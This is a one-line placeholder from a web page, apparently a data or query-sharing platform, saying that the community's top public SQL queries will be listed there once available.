The top public SQL queries from the community will appear here once available.